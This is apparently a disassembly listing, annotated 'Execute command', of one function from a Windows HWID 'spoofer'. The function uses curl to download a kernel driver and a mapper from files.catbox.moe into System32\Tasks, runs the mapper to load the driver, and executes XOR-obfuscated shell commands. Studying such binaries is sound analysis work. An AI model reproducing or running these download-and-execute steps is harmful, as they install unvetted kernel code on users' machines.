Function at 0x1401cc360
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0xb0
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1401d3040]
xor rax, rsp
mov qword [rbp + 0x60], rax
lea rcx, str.curl___silent__o_C:WindowsSystem32Taskspwbvm3.sys__https:__files.catbox.moe_pwbvm3.sys_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent__o_C:WindowsSystem32Tasksmapper.exe__https:__files.catbox.moe_wvsaqx.bin_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Tasksmapper.exe_C:WindowsSystem32Taskspwbvm3.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rbx, 0x3cde419b38facd7c
lea rcx, [rbp + 0x20]
movabs r13, 0x1ec9e1b2fd5695dc
movabs r12, 0x1ec9e1b2fd25f9bf
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x20]
mov qword [rbp + 0x48], rax
xorps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x20], xmm0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x6ea695c1dd519cd1
lea rcx, [rbp + 0x40]
mov qword [rbp], rax
movabs r15, 0xfd208a0974ad0c1e
mov rax, qword [rbp]
movabs r14, 0x48b326f65693ba5c
mov qword [rbp + 0x40], rax
movabs rsi, 0xb866da5002454e41
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0xb866da50023c6161
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x40]
vmovdqa ymmword [rbp + 0x40], ymm1
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x6ca895c1dd519cd1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0x51b92cf5518ded08
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0xb866da507b6a6e35
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
lea rcx, [rbp + 0x40]
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x40]
vmovdqa ymmword [rbp + 0x40], ymm1
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x3eb98ec68e059acc
lea rcx, [rbp + 0x20]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x3caa2cfc5594a40b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x20]
mov qword [rbp + 0x48], rax
xorps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x20], xmm0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rdi, 0x3ebd94dd984890cb
lea rcx, [rbp + 0x20]
mov qword [rbp], rdi
movabs rbx, 0x3cde419b38facd4d
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0x3cde419b38facd7c
mov qword [rbp], rax
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x20]
mov qword [rbp + 0x48], rax
xorps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x20], xmm0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x6abb80c68e059acc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], r14
movabs r14, 0x3cde419b38facd7c
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x40]
vmovdqa ymmword [rbp + 0x40], ymm1
lea rcx, [rbp + 0x40]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rbp], rdi
lea rcx, [rbp + 0x20]
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], r14
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x20]
mov qword [rbp + 0x48], rax
xorps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x20], xmm0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rbp], r13
lea rcx, [rbp + 0x20]
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], r14
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x20]
mov qword [rbp + 0x48], rax
xorps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x20], xmm0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r9d, 0x40
lea r8, str.Completed__dsc.gg_precise_
lea rdx, str.Spoofed_Successfully_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword [rbp + 0x60]
xor rcx, rsp
call fcn.1401ce2c0
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret